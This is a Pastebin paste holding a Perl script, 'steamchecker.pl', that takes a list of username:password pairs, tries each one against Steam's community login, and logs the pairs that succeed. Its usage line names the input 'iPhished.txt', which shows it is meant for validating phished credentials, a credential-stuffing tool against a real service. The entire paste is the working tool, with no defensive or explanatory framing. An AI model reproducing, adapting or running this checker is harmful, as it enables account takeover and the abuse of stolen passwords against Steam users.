Guest User

Untitled

a guest
Apr 27th, 2017
30
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.30 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use HTTP::Cookies;
  3. $myCookies = HTTP::Cookies->new();
  4. use LWP::UserAgent;
  5. my $ua = LWP::UserAgent->new;
  6. $ua->cookie_jar($myCookies);
  7. $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.4');
  8. push @{$ua->requests_redirectable}, 'POST';
  9.  
  10. if(@ARGV!= 2){&usage;}
  11. else{
  12. my $loginlist = $ARGV[0];
  13. my $resultlist = $ARGV[1];
  14. open("xfile", $loginlist) || die "Couldn't open $loginlist\n";
  15. while(my $line = <xfile>){
  16. chomp($line);
  17. my @details = split(/:/,$line);
  18. if(($details[0]) && ($details[1])){
  19. print "Checking $details[0] : $details[1]\t\t";
  20. if(steam($details[0],$details[1])){print "Success\n";
  21. open(LOG,">>$resultlist") || die "Couldn't open $resultlist\n";
  22. print LOG "$details[0]:$details[1]\n";
  23. close(LOG);
  24. }else{print "Failure\n";}}}}
  25.  
  26. sub steam($$){
  27. my $username = $_[0];
  28. my $password = $_[1];
  29. my $url = "https://steamcommunity.com/?action=doLogin&steamAccountName=$username&steamPassword=$password";
  30. my $login = $ua->get($url);
  31. if($login->content =~ m/Signed in as/){
  32. $myCookies->clear;
  33. return 1;
  34. }
  35. else{
  36. return 0;
  37. }
  38. }
  39.  
  40. sub usage{
  41. print "[-] steamchecker.pl <logins> (login:pass format) <results>\n";
  42. print "[-] steamchecker.pl iPhished.txt thx.txt\n";
  43. die("[!] Incorrect usage\n");
  44. }
Add Comment
Please, Sign In to add comment